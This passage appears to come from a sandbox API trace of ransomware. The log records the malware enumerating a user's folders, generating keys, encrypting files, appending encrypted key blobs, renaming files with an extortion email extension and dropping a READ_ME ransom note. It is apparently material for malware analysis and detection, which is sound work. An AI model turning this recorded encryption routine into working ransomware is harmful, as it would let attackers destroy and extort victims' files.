dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0118.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.178] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\c5-u_l1Lz8YJ.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\c5-u_l1lz8yj.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\c5-u_l1Lz8YJ.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\c5-u_l1lz8yj.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0118.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0118.180] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e2b9d0, ftCreationTime.dwHighDateTime=0x1d4c63c, ftLastAccessTime.dwLowDateTime=0xa96f9d00, ftLastAccessTime.dwHighDateTime=0x1d4c95e, ftLastWriteTime.dwLowDateTime=0xa96f9d00, ftLastWriteTime.dwHighDateTime=0x1d4c95e, nFileSizeHigh=0x0, nFileSizeLow=0x4d3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="YvhWKZNK8DjdusuAkDOg.avi", cAlternateFileName="YVHWKZ~1.AVI")) returned 0xffffffff [0118.180] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0118.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0118.180] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e2b9d0, ftCreationTime.dwHighDateTime=0x1d4c63c, ftLastAccessTime.dwLowDateTime=0xa96f9d00, ftLastAccessTime.dwHighDateTime=0x1d4c95e, ftLastWriteTime.dwLowDateTime=0xa96f9d00, ftLastWriteTime.dwHighDateTime=0x1d4c95e, nFileSizeHigh=0x0, nFileSizeLow=0x4d3c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="YvhWKZNK8DjdusuAkDOg.avi", cAlternateFileName="YVHWKZ~1.AVI")) returned 0xffffffff [0118.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0118.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0118.181] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566d98 [0118.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0118.181] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.181] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0118.181] GetLastError () returned 0x5 [0118.181] SetLastError (dwErrCode=0x5) [0118.181] GetLastError () returned 0x5 [0118.181] SetLastError (dwErrCode=0x5) [0118.181] GetLastError () returned 0x5 [0118.181] SetLastError (dwErrCode=0x5) [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d58 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d58 | out: hHeap=0x520000) returned 1 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.182] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0118.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0118.182] GetLastError () returned 0x5 [0118.182] SetLastError (dwErrCode=0x5) [0118.183] GetLastError () returned 0x5 [0118.183] SetLastError (dwErrCode=0x5) [0118.183] GetLastError () returned 0x5 [0118.183] SetLastError (dwErrCode=0x5) [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d58 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d58 | out: hHeap=0x520000) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.183] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0118.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0118.184] GetLastError () returned 0x5 [0118.184] SetLastError (dwErrCode=0x5) [0118.184] GetLastError () returned 0x5 [0118.184] SetLastError (dwErrCode=0x5) [0118.184] GetLastError () returned 0x5 [0118.184] SetLastError (dwErrCode=0x5) [0118.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0118.184] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0118.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0118.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0118.184] GetLastError () returned 0x5 [0118.184] SetLastError (dwErrCode=0x5) [0118.184] GetLastError () returned 0x5 [0118.185] SetLastError (dwErrCode=0x5) [0118.185] GetLastError () returned 0x5 [0118.185] SetLastError (dwErrCode=0x5) [0118.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0118.185] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37fc4b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd37fc4b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.185] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.185] GetLastError () returned 0x5 [0118.185] SetLastError (dwErrCode=0x5) [0118.185] GetLastError () returned 0x5 [0118.185] SetLastError (dwErrCode=0x5) [0118.185] GetLastError () returned 0x5 [0118.185] SetLastError (dwErrCode=0x5) [0118.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.186] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_private", cAlternateFileName="")) returned 1 [0118.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0118.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0118.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0118.186] GetLastError () returned 0x5 [0118.186] SetLastError (dwErrCode=0x5) [0118.186] GetLastError () returned 0x5 [0118.186] SetLastError (dwErrCode=0x5) [0118.186] GetLastError () returned 0x5 [0118.186] SetLastError (dwErrCode=0x5) [0118.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0118.186] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0118.186] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0118.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.187] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.187] GetLastError () returned 0x5 [0118.187] SetLastError (dwErrCode=0x5) [0118.187] GetLastError () returned 0x5 [0118.187] SetLastError (dwErrCode=0x5) [0118.187] GetLastError () returned 0x5 [0118.187] SetLastError (dwErrCode=0x5) [0118.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0118.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.190] WriteFile (in: hFile=0x6b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.191] CloseHandle (hObject=0x6b0) returned 1 [0118.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0118.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.191] FindNextFileW (in: hFindFile=0x566d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_private", cAlternateFileName="")) returned 0 [0118.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0118.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0118.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0118.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0118.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0118.195] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x80) returned 1 [0118.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.196] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0118.196] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0118.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34b8 [0118.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3548 [0118.196] ReadFile (in: hFile=0x6b0, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0118.196] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.197] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0118.197] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.197] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0118.197] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0118.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.197] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.197] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.198] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.198] CloseHandle (hObject=0x6b0) returned 1 [0118.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0118.199] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0118.199] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0118.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0118.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0118.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0118.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.201] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0118.201] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.201] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini", dwFileAttributes=0x80) returned 1 [0118.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41738 [0118.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.202] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0118.202] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=216) returned 1 [0118.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd8) returned 0x56f578 [0118.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd8) returned 0x553500 [0118.202] ReadFile (in: hFile=0x6b0, lpBuffer=0x56f578, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f578*, lpNumberOfBytesRead=0x2e1f9bc*=0xd8, lpOverlapped=0x0) returned 1 [0118.203] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.203] WriteFile (in: hFile=0x6b0, lpBuffer=0x553500*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x553500*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd8, lpOverlapped=0x0) returned 1 [0118.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0118.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0118.204] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd8 [0118.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.204] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.205] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.205] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.205] CloseHandle (hObject=0x6b0) returned 1 [0118.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0118.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.207] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my 